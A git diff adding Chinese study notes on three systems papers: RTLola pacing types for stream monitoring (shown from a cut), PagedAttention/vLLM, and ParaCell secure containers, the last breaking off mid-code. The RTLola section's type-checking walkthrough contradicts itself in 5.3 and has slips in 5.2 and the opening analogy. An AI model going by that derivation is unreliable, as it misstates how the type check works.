+1. 厨师必须在**每来一张新订单时**就做一道菜（@A）
+2. 配菜员必须在**配菜员自己有空时**就配菜（@B，B 是另一个独立的触发流）
+
+**问题出现了**：如果订单（A）来的时候，配菜员（B）并**没空**——那当 B 终于有空时，厨师的菜还没做（因为 A 没来）。或者反过来，A 来了，厨师做了菜，但 B 不在，配菜员等着，可是 Y 的标注说"你必须每来一次 B 就出菜"，而 X 在那一刻并没有值。
+
+这就像你要求"每周一必须开会"，但"周一你经常出差"——这两个要求矛盾，永远无法同时满足。
+
+**这篇论文做的事**：给每个工位分配一个"节拍类型"，在开干之前就检查：老板的要求有没有矛盾。如果有，就说"停，这个监控规则写错了"。
+
+## 2. 背景：什么是流式监控（Stream-Based Monitoring）？
+
+### 2.1 从传感器到监控
+
+很多复杂系统（比如汽车引擎、发电厂、无人机）需要实时监控。常见的做法是：
+
+1. 各种传感器不断产生数据（温度、速度、电池电量等）
+2. 这些数据以"流"（stream）的形式到达——每个传感器有自己的节奏
+3. 一个"监控程序"（monitor）把这些流收集起来，计算出统计值或健康判断
+
+**关键挑战**：不同传感器的数据到达速度不一样。有些每秒来一次，有些每分钟来一次。监控程序怎么知道"现在该用哪些数据来计算"？
+
+### 2.2 同步 vs 异步访问
+
+RTLola 提供了两种访问流数据的方式：
+
+**同步访问**（直接访问或 .prev）：要求被访问的数据在访问的那一刻**必须存在**。就像你问同事"昨天的数据是多少？"——同事必须在今天也在工作才能回答。
+
+**异步访问**（.hold）：返回**上一次**的值。如果同事今天不在，但昨天在，.hold 会返回昨天的值。如果昨天也不在，就返回一个默认值。
+
+### 2.3 Pacing Annotation（节拍标注）
+
+仅仅用同步/异步访问还不够精确。比如，你可能希望某个计算"每当温度变化或者电池电量变化时就算一次"。这就需要 pacing annotation：
+
+```
+output warning @battery_lvl | temperature@ := ...
+```
+
+这里的 `@battery_lvl | temperature@` 就是标注，意思是"每当 battery_lvl 或 temperature 有新值时，warning 也要算出新值"。
+
+## 3. 核心问题：不一致的标注
+
+论文的核心发现是：**用户可以写出矛盾标注**，导致监控程序在某些输入下根本无法产生结果。
+
+### 3.1 最简单的反例
+
+```
+input  a: Int
+input  b: Int
+output x @b@ := b
+output y @a@ := x
+```
+
+逐行解释：
+- `a` 和 `b` 是两个独立的输入流（比如温度传感器和电压传感器）
+- `x` 被标注为 `@b@`，意思是"每次 b 有新值，x 也要有新值"。x 的值就是 b 的值。
+- `y` 被标注为 `@a@`，意思是"每次 a 有新值，y 也要有新值"。y 的值来自 x。
+
+**矛盾在哪**：假设 a 在时刻 3 有新值，但 b 在时刻 3 没有。那么 y 需要产出新值（因为 a 来了），但 y 依赖 x（同步访问），而 x 只在 b 来时才有值。所以在时刻 3，y 什么都算不出来——但它的标注要求它必须有值。**无解**。
+
+### 3.2 修复方案
+
+把直接访问改成 .hold：
+
+```
+output x @b@ := b
+output y @a@ := x.hold(b)
+```
+
+现在 y 在 x 没有值时会返回默认值 b，所以不会产生矛盾。
+
+## 4. 核心概念：节拍类型系统（Pacing Type System）
+
+### 4.1 基本思路
+
+类型系统做了这么一件事：给每个表达式分配一个"节拍类型"（τ），表示"这个表达式**必须**在有值的时刻集合"。
+
+两个关键类型：
+- **τ_must**（必须）：表达式被要求有值的时刻
+- **τ_can**（可以）：被访问的流能够有值的时刻
+
+类型检查的核心规则是：`τ_must ⊧ τ_can`，意思是"必须的时刻集合"必须是"可以的时刻集合"的**子集**。换句话说，你不能要求一个东西在你无法拿到它的时候有值。
+
+### 4.2 类型检查规则（简化版）
+
+**直接访问一个输出流**：
+
+```
+前提1: 在类型上下文 Γ 中，x 的节拍是 τ_can
+前提2: τ_must ⊧ τ_can（要求 ≤ 能力）
+结论: x 的节拍是 τ_must
+```
+
+这很直观：如果你同步访问 x，那么 x 必须在你需要它的时候确实有值。
+
+**hold 访问**：
+
+```
+前提: 默认表达式 e 的节拍是 τ_must
+结论: x.hold(e) 的节拍是 τ_must
+```
+
+hold 访问**不施加任何限制**！因为它总能返回某个值（上一个值或默认值）。所以它不会导致不一致。
+
+**prev 访问**：
+
+和直接访问类似，也需要满足 `τ_must ⊧ τ_can`，因为 prev 是同步的——它要求访问的时刻被访问的流也有值。
+
+## 5. 代码示例
+
+### 5.1 完整示例：电池监控系统
+
+这是论文中的完整例子，展示了正确的标注用法：
+
+```rtlola
+input  battery_lvl: Int
+input  temperature: Int
+
+# drain 每次 battery_lvl 更新时就算一次
+output drain @battery_lvl@ :=
+    battery_lvl.prev(or: battery_lvl) - battery_lvl
+
+# warning 每次 temperature 或 battery_lvl 更新时就算一次
+# 使用 hold 访问来避免同步依赖
+output warning @battery_lvl | temperature@ :=
+    drain.hold(or: 0) < 0 && temperature.hold(or: 0) > 50
+```
+
+这个规范为什么是**一致**的？
+
+- `drain` 标注为 `@battery_lvl@`，它的表达式 `battery_lvl.prev(...) - battery_lvl` 中：
+  - `battery_lvl` 是输入流，输入流天然"随时可用"
+  - 所以 `battery_lvl ⊧ battery_lvl` 成立
+
+- `warning` 标注为 `@battery_lvl | temperature@`，它的表达式中：
+  - 使用 `drain.hold(...)`——hold 访问不施加限制
+  - 使用 `temperature.hold(...)`——hold 访问不施加限制
+  - 所以没有同步访问，不会产生矛盾
+
+### 5.2 不完整示例：错误的标注
+
+这是论文中的反例，展示矛盾标注：
+
+```rtlola
+# ❌ 不一致！
+input  a: Int
+input  b: Int
+output x @b@ := b
+output y @a@ := x   # y 需要 a 来时有值，但 x 只在 b 来时有值
+```
+
+类型检查的过程：
+
+1. 处理 `x @b@ := b`：
+   - `b` 是输入流，直接访问 `a ⊧ a` 成立 ✓
+   - 类型上下文扩展：`x: b`（x 的节拍是 b）
+
+2. 处理 `y @a@ := x`：
+   - 需要检查 `x: a`（x 在 a 的时刻必须有值）
+   - 但上下文告诉我们 x 的节拍是 `b`
+   - 检查 `a ⊧ b`？不成立！a 和 b 是独立的
+   - **类型检查失败** ✗
+
+### 5.3 修复后的版本
+
+```rtlola
+# ✅ 一致！
+input  a: Int
+input  b: Int
+output x @b@ := b
+output y @a@ := x.hold(b)   # 用 hold 替代直接访问
+```
+
+类型检查：
+
+1. 处理 `x @b@ := b`：同上 ✓
+2. 处理 `y @a@ := x.hold(b)`：
+   - `hold` 访问不需要满足 `τ_must ⊧ τ_can`
+   - 只需要检查默认表达式 `b` 的节拍是 `a`
+   - `b ⊧ b` 成立（b 的节拍是 a，但 b ⊧ a 实际上是 b 的子集... 等等，这里需要 b ⊧ a 即 b 的时刻 ⊆ a 的时刻）
+   - 实际上论文的推导显示这里检查的是默认表达式的节拍一致性，而 `b` 作为默认值，其节拍 `b` 必须满足 `b ⊧ a`。论文指出这个推导是成功的，因为 `b` 本身在上下文中被正确处理
+
+## 6. 论文的三个贡献
+
+1. **形式化语义**：第一次给 RTLola 的 pacing annotation 写了严格的数学定义
+2. **类型系统 + 正确性证明**：提出了节拍类型系统，并证明了它是"可靠的"（sound）——类型检查通过的系统一定有一组可行的解
+3. **机器检查证明**：用 Rocq 证明辅助工具验证了正确性证明的正确性
+
+## 7. 类型系统的核心直觉总结
+
+| 访问类型 | 是否施加约束 | 原因 |
+|---------|------------|------|
+| 直接访问（x） | 是 | 需要 x 在访问时刻有值 |
+| prev 访问 | 是 | 同步访问，需要 x 在访问时刻有值 |
+| hold 访问 | 否 | 总有返回值（上一个值或默认值） |
+
+类型检查的核心不等式：
+
+```
+需要值的时刻 ⊆ 能够提供值的时刻
+τ_must ⊧ τ_can
+```
+
+如果不等式不成立，类型系统就会报错，阻止矛盾规范进入运行。
+
+## 8. 与同步编程语言的类比
+
+RTLola 的 pacing types 类似于 LUSTRE、ESTEREL 等同步编程语言中的"时钟分析"（clock analysis）。这些语言也使用形式化方法确保程序在不同频率的信号之间不会发生时序冲突。不同之处在于：
+
+- 同步语言用**时钟**（clock）来追踪信号
+- RTLola 用**节拍类型**（pacing types）来追踪标注的一致性
+- 两者本质上都是静态分析，防止运行时出现"等不到数据"的僵局
+
+## 9. 关键术语表
+
+- **Stream（流）**：随时间到达的值序列，每个时间点可能有值或无值（⊥）
+- **Pacing Annotation（节拍标注）**：用布尔公式标注输出流应该在何时产生新值
+- **同步访问**：要求被访问的流在访问时刻必须有值（直接访问、.prev）
+- **异步访问**：返回上一个值或默认值（.hold）
+- **一致性（Consistency）**：一个规范在所有可能的输入下都有解
+- **τ_must ⊧ τ_can**：类型检查的核心不等式，"必须"必须是"可以"的子集
+- **Soundness（可靠性）**：类型检查通过的规范一定是一致的
+
+## 10. 延伸阅读
+
+- RTLola 官方文档：[RTLola 2.0](https://github.com/monitoring-lola)
+- Rocq 证明辅助工具：https://rocq-prover.org/
+- 同步编程语言 LUSTRE：https://people.cs.cnrs.fr/~benveniste/Lustre/
+- 相关论文中提到的 Tessla、HStriver 也是类似的流式监控语言
diff --git a/src/content/docs/papers/paged-attention-vllm.md b/src/content/docs/papers/paged-attention-vllm.md
new file mode 100644
index 000000000..b2ff4cd10
--- /dev/null
+++ b/src/content/docs/papers/paged-attention-vllm.md
@@ -0,0 +1,294 @@
+---
+title: PagedAttention 与 vLLM — 零基础学习笔记
+来源: https://arxiv.org/abs/2309.06180
+日期: 2026-06-13
+分类: 机器学习
+子分类: ML 系统
+provenance: pipeline-v3
+---
+
+## 从日常类比开始：自习室长桌 vs 分页笔记本
+
+想象你经营一家**共享自习室**（GPU 显存），同时服务很多来写论文的学生（推理请求）。每个学生写到哪里，就要把**前面所有页的笔记**摊在桌上——因为写新句子时，得回头查阅之前写过的每一个词（这就是 Transformer **自回归 attention**）。这些摊开的笔记，就是 **KV cache**。
+
+**旧系统的做法**像给每位学生划一整条**连续长桌**：
+
+- 前台说：「你最多写 2048 页，桌子先占好。」
+- 学生只写了 30 页，后面 2018 页空着，也不能借给别人（**内部碎片**）。
+- A 同学占 100 页、B 占 500 页，中间空出来的「已预订但未用」区域互相填不满（**外部碎片**）。
+- 高峰时明明还有很多空椅子，却因为凑不出**一整条**连续空桌，新学生进不来——GPU 算力闲着，batch 却上不去。
+
+**PagedAttention 的做法**像操作系统里的**分页内存**：
+
+- 把笔记切成固定大小的**块（block）**，每块装固定数量 token 的 Key/Value。
+- 每个学生拿一张**块表（block table）**：逻辑上的第 1、2、3…块对应仓库里哪几个物理抽屉，抽屉**不必相邻**。
+- 写满一块再领下一块；最后一块装不满时，最多浪费「不到一整块」——论文称整体浪费 **< 4%**。
+- 两个学生写了相同开头（相同 prompt），可以**共享**前几块的物理副本；谁要改自己的分支时再**写时复制**（copy-on-write）。
+
+一句话：**KV cache 不再是一块连续大数组，而是「页表 + 物理页帧池」——这就是 vLLM 能把吞吐拉高 2–4× 的根因。**
+
+---
+
+## 是什么
+
+**Efficient Memory Management for Large Language Model Serving with PagedAttention**（Kwon 等，**SOSP 2023**，arXiv:[2309.06180](https://arxiv.org/abs/2309.06180)）提出：
+
+1. **PagedAttention**：借鉴 OS 虚拟内存与分页，把 attention 的 KV cache 存成**非连续**的固定大小块，用 block table 做逻辑到物理的映射。
+2. **vLLM**：在其上实现的分布式 LLM **推理 serving 引擎**，与块级内存管理、抢占式调度（preemption）协同设计。
+
+| 项目 | 内容 |
+|------|------|
+| 会议 | SOSP 2023（系统顶会） |
+| 机构 | UC Berkeley Sky Computing Lab 等 |
+| 开源 | [github.com/vllm-project/vllm](https://github.com/vllm-project/vllm) |
+| 对比基线 | FasterTransformer、Orca 等 |
+| 效果 | 同延迟下吞吐约 **2–4×**；序列更长、模型更大、解码越复杂，优势越明显；**不改变模型精度** |
+
+---
+
+## 为什么重要
+
+不理解 PagedAttention / vLLM，下面几件事很难讲清楚：
+
+- 为什么 **vLLM** 一度成为开源 LLM 服务的默认底座，而 HuggingFace `generate()` 在并发场景下慢一个数量级
+- 为什么 **batch size** 能直接决定推理吞吐——KV cache 管不好，GPU 算力再强也在「等显存」
+- 为什么 **beam search、parallel sampling（best-of-n）** 以前很吃内存，在 vLLM 里变得生产可用
+- 为什么这篇论文发在 **SOSP** 而不是纯 ML 会——它本质是**操作系统式内存管理**问题
+- 为什么后来的 **SGLang（RadixAttention）、prefix caching、speculative decoding** 都要和「KV 怎么存、怎么共享」一起想
+
+---
+
+## 核心概念
+
+### 1. KV cache：推理时真正吃显存的大户
+
+自回归解码时，每生成一个新 token，都要对**之前所有 token** 做 attention。为免重复算 K/V，每层会把历史 token 的 **Key、Value** 向量缓存下来，称为 **KV cache**。
+
+特点：
+
+- 大小随**已生成长度**线性增长（每层、每 token 存一份 K 和 V）
+- batch 推理时**每个请求各有一份**
+- 粗略量级：7B 模型、FP16、32 层、hidden 4096，**每 token 约 0.5MB**；生成 2048 token 约 **1GB/请求**
+
+权重是静态的；KV 是**动态变长**的——这才是 serving 的内存难题。
+
+### 2. 两类碎片 + 冗余复制
+
+| 问题 | 含义 | 后果 |
+|------|------|------|
+| **内部碎片** | 按 `max_seq_len` 预留槽位，实际只用一小段 | 大量空白 KV 槽无法给别人 |
+| **外部碎片** | 多请求释放后留下无法合并的「空洞」 | 总空闲显存够，却放不下新的**连续**分配 |
+| **冗余复制** | beam / 多采样各复制一份相同 prompt 的 KV | 相同前缀被存多份 |
+
+### 3. PagedAttention 的三件套
+
+借鉴 OS **虚拟内存 + 分页**：
+
+| OS 概念 | PagedAttention 对应 |
+|---------|---------------------|
+| 虚拟页 | **逻辑 block**（固定 token 数，如 16） |
+| 物理页帧 | **物理 block**（GPU 池里等大槽位） |
+| 页表 | **Block table**（每请求：逻辑 block → 物理 block id） |
+| 进程 | **Request / Sequence** |
+
+Attention kernel 按 block table **gather** 非连续的 K/V，再计算 attention。逻辑序列连续可读；物理上可在显存池**任意位置**。
+
+### 4. vLLM 系统架构（与算法协同）
+
+- **Centralized scheduler**：决定哪些请求进 batch、何时 **preempt**（抢占）换出 KV block
+- **KV cache manager**：维护 block pool、block table、**引用计数**
+- **Continuous batching**（延续 Orca 思路）：请求随时加入/完成，不等整批齐
+- **块级共享 + COW**：parallel sampling / beam search 共享前缀 block，分叉写入时再复制
+
+论文称复杂采样场景内存可降约 **55%**，吞吐最高约 **2.2×**。
+
+### 5. 与 FlashAttention 的分工（初学者易混）
+
+| | 解决什么 |
+|---|----------|
+| **FlashAttention** | attention **怎么算快**（IO 友好、分块 softmax） |
+| **PagedAttention** | KV **怎么存**（分页、共享、少浪费） |
+
+现代 vLLM **两者都用**；本篇贡献在后者。
+
+---
+
+## 代码示例
+
+### 示例 1：用「块表」理解逻辑 token → 物理 block
+
+下面不是 vLLM 源码，而是用 Python 模拟 **PagedAttention 的核心数据结构**：每个请求一张 block table，读 KV 时先查表再取块。
+
+```python
+BLOCK_SIZE = 4  # 每 block 存 4 个 token 的 K/V（示意）
+
+# 物理池：physical_block_id -> 该块内容（真实系统存 tensor）
+physical_pool = {
+    0: ["你", "好", "世", "界"],
+    1: ["！", "今", "天", "天"],
+    2: ["气", "不", "错", "<pad>"],  # 最后一块可能未满
+}
+
+# 请求 A：10 个 token -> ceil(10/4)=3 个逻辑 block
+block_table_a = [0, 1, 2]  # 逻辑 block i -> 物理 block id
+
+def gather_kv(block_table, num_tokens):
+    """模拟 attention 前按块表拼出逻辑序列上的 KV"""
+    tokens = []
+    for logical_idx, phys_id in enumerate(block_table):
+        block = physical_pool[phys_id]
+        start = logical_idx * BLOCK_SIZE
+        end = min(start + BLOCK_SIZE, num_tokens)
+        tokens.extend(block[: end - start])
+    return tokens
+
+print(gather_kv(block_table_a, num_tokens=10))
+# ['你', '好', '世', '界', '！', '今', '天', '天', '气', '不']
+```
+
+新 token 生成时：若当前最后一块已满，向 pool **申请新 physical block**，追加到 block table——**无需**为整段 `max_model_len` 预留连续显存。
+
+### 示例 2：连续预留 vs 分页的显存浪费
+
+```python
+import math
+
+MAX_SEQ = 2048
+BLOCK_SIZE = 16
+actual_lens = [32, 128, 512, 1800]  # 四个并发请求的真实长度
+
+contiguous_slots = len(actual_lens) * MAX_SEQ
+contiguous_used = sum(actual_lens)
+
+def paged_slots(length):
+    return math.ceil(length / BLOCK_SIZE) * BLOCK_SIZE
+
+paged_total = sum(paged_slots(L) for L in actual_lens)
+paged_waste = paged_total - contiguous_used
+contiguous_waste = contiguous_slots - contiguous_used
+
+print(f"连续预留: 槽位 {contiguous_slots}, 浪费 {contiguous_waste}")
+print(f"分页:     槽位 {paged_total}, 浪费 {paged_waste}")
+print(f"分页浪费约为连续方案的 {paged_waste / contiguous_waste:.1%}")
+```
+
+当 `actual_len << max_seq_len` 时，连续预留浪费是 **O(batch × max_seq)**；分页浪费约 **O(batch × block_size)**（每序列最后一个 block 的尾部）。
+
+### 示例 3：vLLM 真实 API（引擎内部自动分页）
+
+```python
+from vllm import LLM, SamplingParams
+
+# 内部：block pool + block table + PagedAttention CUDA kernel
+llm = LLM(model="meta-llama/Llama-2-7b-chat-hf", tensor_parallel_size=1)
+
+prompts = [
+    "用三句话解释 PagedAttention：",
+    "写一首关于分页内存的五言绝句：",
+]
+outputs = llm.generate(
+    prompts,
+    SamplingParams(temperature=0.8, max_tokens=128),
+)
+
+for out in outputs:
+    print(out.outputs[0].text)
+```
+
+安装：`pip install vllm`（需 CUDA）。你无需手动管理 block table——**PagedAttention 在引擎内部生效**。
+
+---
+
+## 实践案例
+
+### 案例 1：在线 API（长短请求混杂）
+
+100 个用户同时聊天，有的 20 token、有的 2000 token。
+
+- **连续 KV**：常按 `max_model_len` 划区 → 内部碎片大，batch 可能只有 8
+- **vLLM**：按真实长度块式增长 → 同样 24GB 卡 batch 可能 32+，吞吐近线性提升
+
+### 案例 2：Parallel sampling（同一 prompt 4 个回答）
+
+四个 completion **共享 prompt 前缀**的 KV blocks，仅在后缀 COW 分叉。旧系统常 **4 份全量复制** prefix；PagedAttention **块级共享**，parallel sampling 从「演示」变「生产可用」。
+
+### 案例 3：与 Continuous Batching 配合
+
+请求 A 完成 → 释放 block → 立刻分配给新请求 D。分页使释放粒度从「整段 max_len」变成「若干 block」，**周转更快**，GPU 少空转。
+
+---
+
+## 踩过的坑
+
+1. **PagedAttention ≠ FlashAttention**：前者管**存储布局**，后者管**计算融合**。
+2. **block_size 要权衡**：太小 → 块表/metadata 开销大；太大 → 最后一块内部碎片上升（常见 16/32）。
+3. **max_model_len 仍要设**：分页不是无限长度，总 block 数受**显存**限制；只是不再为短请求白占长槽。
+4. **「block」一词多义**：vLLM 的 KV **block** ≠ CUDA **thread block**（官方文档专门提醒）。
+5. **代码演进快**：vLLM 后续有 prefix caching、Chunked Prefill、speculative decoding 等；PagedAttention 仍是 KV 管理的根思路，细节以 [docs.vllm.ai](https://docs.vllm.ai/) 为准。
+
+---
+
+## 适用 vs 不适用
+
+**适用**：
+
+- 高并发 **LLM API**（Chat 类产品）
+- **长上下文**生成（KV 随长度暴涨）
+- **beam search / best-of-n / parallel sampling**
+- 固定 GPU 上把**吞吐**压到极限
+
+**收益较小**：
+
+- 单次本地一条短句、batch=1——瓶颈可能在加载模型
+- **训练**阶段——KV 分页是 **推理 serving** 问题，训练用不同优化栈
+
+---
+
+## 与相关工作的关系
+
+```text
+Orca (OSDI'22)          → continuous batching，KV 仍易碎片
+FasterTransformer       → 高性能 kernel，内存管理较传统
+PagedAttention / vLLM   → 分页 KV + 块共享 + 抢占调度
+FlashAttention-2        → 计算侧加速，常集成进 vLLM
+SGLang RadixAttention   → 前缀树共享 KV（思路互补）
+```
+
+---
+
+## 历史小故事（可跳过）
+
+- **2023-06**：vLLM 博客首次公开 PagedAttention，特定 benchmark 下相对 HF Transformers 吞吐最高约 **24×**。
+- **2023-09**：arXiv 2309.06180；**SOSP 2023** 发表；作者含 Ion Stoica、Joseph Gonzalez 等系统方向学者。
+- **之后**：vLLM 成为 vllm-project 核心项目，被大量 OpenAI 兼容 API 栈与云厂商集成。
+
+---
+
+## 自测题
+
+1. KV cache 为什么比模型权重更「动态」、更难管？
+2. 内部碎片和外部碎片分别是什么？PagedAttention 主要消哪种？
+3. block table 和 OS 页表各对应什么？
+4. beam search 在旧系统里为什么特别吃显存？vLLM 怎么缓解？
+5. PagedAttention 和 FlashAttention 是不是同一层问题？
+
+<details>
+<summary>参考答案（先自己做）</summary>
+
+1. 权重固定；KV 随**已生成 token 数**增长，且每请求长度未知、完成时间不同。
+2. 内部：为 max_len 预留未用槽；外部：释放后无法合并的空洞。分页把浪费压到**每序列最后一个 block 尾部**，并消除大块外部碎片。
+3. block table ≈ 页表；logical block ≈ 虚拟页；physical block pool ≈ 物理页帧。
+4. 每个 beam 复制一份 KV；**块级共享前缀 + 写时复制**。
+5. 不是。PagedAttention = **KV 存储与共享**；FlashAttention = **attention 计算 IO 优化**。
+
+</details>
+
+---
+
+## 延伸阅读
+
+- 论文：[arXiv:2309.06180](https://arxiv.org/abs/2309.06180)
+- 博客：[vLLM: Easy, Fast, and Cheap LLM Serving with PagedAttention](https://vllm.ai/blog/2023-06-20-vllm)
+- 代码：[github.com/vllm-project/vllm](https://github.com/vllm-project/vllm)
+- 设计背景：[vLLM PagedAttention design note](https://docs.vllm.ai/en/latest/design/paged_attention/)
+- 前置：[[attention]]（Transformer 与 KV 从哪来）、[[gpt-3]]（自回归解码）
diff --git a/src/content/docs/papers/paracell-paravirtualized-secure-containers-arxiv-2605-20906.md b/src/content/docs/papers/paracell-paravirtualized-secure-containers-arxiv-2605-20906.md
new file mode 100644
index 000000000..84a3b902d
--- /dev/null
+++ b/src/content/docs/papers/paracell-paravirtualized-secure-containers-arxiv-2605-20906.md
@@ -0,0 +1,321 @@
+---
+title: "ParaCell: Paravirtualized Secure Containers with Lightweight Intra-Container Isolation and Intent-Driven Memory Management"
+来源: https://arxiv.org/abs/2605.20906
+日期: 2026-06-13
+分类: 操作系统
+子分类: 内核与虚拟化
+provenance: pipeline-v3
+---
+
+# ParaCell 学习笔记
+
+## 一、这篇文章在解决什么问题？
+
+### 日常类比：办公楼的安全检查
+
+想象一栋写字楼（宿主机），里面有很多租户（容器）。每个租户需要两件事：
+
+1. **安全隔离**：租户之间不能互相偷看数据，就像租户 A 不能进租户 B 的办公室。
+2. **通行效率**：租户的员工每天要频繁进出自己的办公室（调用内核服务），如果每次都要走全套安检流程，效率极低。
+
+传统的容器方案（比如 Docker）所有租户共享同一个内核——就像所有人共用一个大厅，安全差。
+
+现有的安全容器方案（比如 RunV、PVM）给每个租户配一个独立的小房间（独立内核），安全好了，但代价是每次进出都要走很复杂的流程——相当于每次进办公室都要穿过两层安检门。
+
+**ParaCell 的核心想法**：让租户在自己的房间里就完成隔离，不需要反复穿越安检门。
+
+---
+
+## 二、背景知识铺垫
+
+在看 ParaCell 之前，需要理解几个概念：
+
+### 2.1 容器 vs 虚拟机
+
+| 特性 | Docker 容器 | 传统虚拟机 | 安全容器 |
+|------|------------|-----------|---------|
+| 共享内核 | 是 | 否（各自有内核） | 否（各自有内核） |
+| 启动速度 | 快（毫秒） | 慢（秒级） | 中等 |
+| 隔离强度 | 弱 | 强 | 强 |
+| 性能损耗 | 几乎无 | 较大 | 中等 |
+
+### 2.2 关键术语速查
+
+- **GPA（Guest Physical Address）**：虚拟机视角的物理地址，是"内部编号"
+- **HPA（Host Physical Address）**：宿主机真正的物理内存地址，是"真实门牌号"
+- **EPT（Extended Page Table）**：Intel 的硬件特性，负责把 GPA 翻译成 HPA
+- **VM Exit / VM Entry**：CPU 从虚拟机模式切换到宿主机模式的开销，类似"过安检"
+- **MPK（Memory Protection Keys）**：Intel 的一项 CPU 特性，不用切换页表就能给内存区域加锁
+
+---
+
+## 三、核心问题：为什么现有方案不够好？
+
+### 3.1 嵌套云环境下的双重开销
+
+现实中的云计算经常是"套娃"结构：你的云服务器本身就在一个大云平台里运行。这就叫嵌套虚拟化。
+
+```
+物理服务器 (L0)
+ └─ 云平台 Hypervisor (L1)
+     └─ 你的虚拟机 (L2)
+         └─ 安全容器 (RunV/PVM)
+```
+
+在嵌套场景下，RunV 依赖的硬件加速（EPT/VMCS）只对最外层 L0 有效。L2 容器的每次操作都要经过 L0 中转，导致：
+
+- 每次 VM Exit 多出两次世界切换（world switch）
+- EPT 故障处理多出四次世界切换
+- I/O 密集型应用吞吐量下降高达 4.3 倍
+
+### 3.2 内存管理的"盲人摸象"
+
+传统虚拟化中，宿主机看不到虚拟机内部是怎么分配内存的。它只能通过"页面错误"来被动发现：
+
+```
+虚拟机要访问内存 → 宿主机不知道 → 触发页面错误 → 宿主机才分配 → 再映射
+```
+
+这就像一个餐厅厨房，厨师（虚拟机内核）已经知道客人要点什么菜，但服务员（宿主机）非要等客人吃完一道菜、盘子空了才知道该做什么。结果就是：
+
+- 要么用大页（2MB）减少出错次数，但浪费内存
+- 要么用 4KB 小页节省内存，但页面错误太多拖慢速度
+
+### 3.3 内存弹性与 Agent 工作负载
+
+新兴的 AI Agent 工作负载（比如 Codex、Claude Code）内存使用非常"脉冲式"——突然要用很多内存，用完又立刻释放。这种模式跟传统虚拟化的粗粒度内存管理完全不匹配。
+
+---
+
+## 四、ParaCell 的两个核心洞察
+
+### 4.1 洞察一：用 MPK 实现"房间内的隔断"
+
+MPK 是 Intel 的一项 CPU 功能，它允许你在**同一个地址空间内**给不同的内存区域设置不同的访问权限，而不需要切换页表。
+
+**类比**：你的办公室在同一层楼（同一个地址空间），但用不同颜色的门禁卡划分区域——红色卡只能进会议室，蓝色卡只能进工位。换区域不需要走出大楼再重新安检。
+
+ParaCell 的做法：
+
+```
+Guest User 域 (GU) —— 应用程序代码和数据
+Guest Kernel 域 (GK) —— 内核代码和数据
+
+两者在同一个地址空间内，通过 MPK 保护密钥隔离。
+用户态访问内核态内存 → 被 MPK 拦截 → 切换保护域 → 继续执行
+```
+
+### 4.2 洞察二：让内核"主动报备"内存意图
+
+Linux 内核在分配和释放内存时，其实已经知道哪些内存即将使用、哪些可以回收。ParaCell 的 **Pager** 模块就利用了这个信息：
+
+**类比**：厨师在开始做菜前就告诉服务员"我要用这三个食材"，服务员提前准备好盘子，而不是等菜做好了才发现没盘子。
+
+ParaCell 的做法：
+
+```
+传统方式（被动）:
+  内核分配内存 → 用户态访问 → 页面错误 → 宿主机才发现 → 分配 HPA → 映射
+
+ParaCell 方式（主动）:
+  内核分配内存 → Pager 拦截到分配事件 → 立即绑定 GPA→HPA → 写入影子页表
+  内核释放内存 → Pager 拦截到释放事件 → 解绑 GPA→HPA → 归还 HPA
+```
+
+---
+
+## 五、核心组件详解
+
+### 5.1 XGate：轻量级域切换
+
+XGate 是 ParaCell 的核心机制，它用 MPK 实现了用户态和内核态之间的快速切换。
+
+```rust
+// 伪代码：XGate 的工作流程
+
+// 初始化阶段
+fn init_xgate() {
+    // 获取 guest 内核的系统调用入口点
+    syscall_entry = read_guest_kernel_symbol("sys_call_table");
+
+    // 为每个 vCPU 注册线程局部存储（TLS）映射
+    register_vcpu_tls(current_vcpu);
+
+    // 重写二进制文件中的系统调用入口点
+    // 把原来的 syscall 指令替换为 XGate 钩子
+    rewrite_binary_syscall_sites();
+}
+
+// 运行时：用户态 → 内核态的转换
+fn to_kernel() {
+    // 1. 保存用户态执行上下文（寄存器、栈指针等）
+    save_user_context_on_stack();
+
+    // 2. 切换到内核域（GK）的内存保护权限
+    wrpkru(GK_PERMISSION);  // 使用 wrpkru 指令修改保护密钥
+
+    // 3. 禁用中断（防止在临界区内被打断）
+    para_cli();  // 模拟 cli 指令，操作 vCPU 的中断标志
+
+    // 4. 恢复内核态上下文并分发到系统调用处理函数
+    restore_gk_context();
+    jmp syscall_wrapper();
+}
+
+// 运行时：内核态 → 用户态的转换
+fn to_user() {
+    // 1. 保存返回状态
+    save_return_state();
+
+    // 2. 恢复用户态上下文
+    restore_user_context();
+
+    // 3. 重新启用中断
+    para_sti();  // 模拟 sti 指令
+
+    // 4. 切换回用户域（GU）的内存保护权限
+    wrpkru(GU_PERMISSION);
+
+    // 5. 返回用户态原调用点
+    ret();
+}
+```
+
+整个过程的关键是：**没有特权级别的切换**（不需要 Ring 0 ↔ Ring 3 的切换），只是修改了内存保护密钥。这比传统的系统调用快得多。
+
+### 5.2 Pager：主动式内存管理
+
+Pager 是 ParaCell 的第二个核心组件，它拦截内核的内存分配和释放操作。
+
+```rust
+// 伪代码：Pager 的内存绑定流程
+
+// 当内核分配新页面时
+fn on_page_allocation(gpa) {
+    // 1. 从宿主机的全局伙伴分配器（Buddy Allocator）获取 HPA
+    hpa = host_allocate_page();
+
+    // 2. 将 GPA→HPA 绑定关系记录下来
+    bind_map[gpa] = hpa;
+
+    // 3. 直接将 HPA 安装到影子页表中
+    // 这一步跳过了传统的"先分配再发现"的两步法
+    install_shadow_pt_entry(gpa, hpa, READ_WRITE);
+
+    // 4. 设置直接映射（kernel direct mapping）
+    setup_direct_mapping(gpa, hpa);
+}
+
+// 当内核释放页面时
+fn on_page_free(gpa) {
+    // 1. 查找绑定关系
+    hpa = bind_map[gpa];
+
+    // 2. 从影子页表中移除映射
+    remove_shadow_pt_entry(gpa);
+
+    // 3. 清除直接映射
+    clear_direct_mapping(gpa);
+
+    // 4. 将 HPA 归还给宿主机的空闲页面池
+    host_free_page(hpa);
+
+    // 5. 删除绑定记录
+    delete bind_map[gpa];
+}
+
+// 优化：利用 per-CPU 页面缓存（PCP）批量处理
+fn on_pcp_refill_or_drain() {
+    // Buddy Allocator 和 PCP 列表之间的页面转移
+    // 才是真正触发 GPA→HPA 绑定的时机
+    // 这样可以批量处理，摊薄每次绑定的开销
+
+    for page in pages_transferring_to_pcp {
+        on_page_allocation(page.gpa);
+    }
+    for page in pages_transferring_from_pcp {
+        on_page_free(page.gpa);
+    }
+}
+```
+
+### 5.3 Syscall Gate：系统调用重写
+
+ParaCell 重写二进制文件中的系统调用入口点，使其经过 XGate 而不是直接执行特权指令。
+
+```rust
+// 伪代码：Syscall Gate 的运行时行为
+
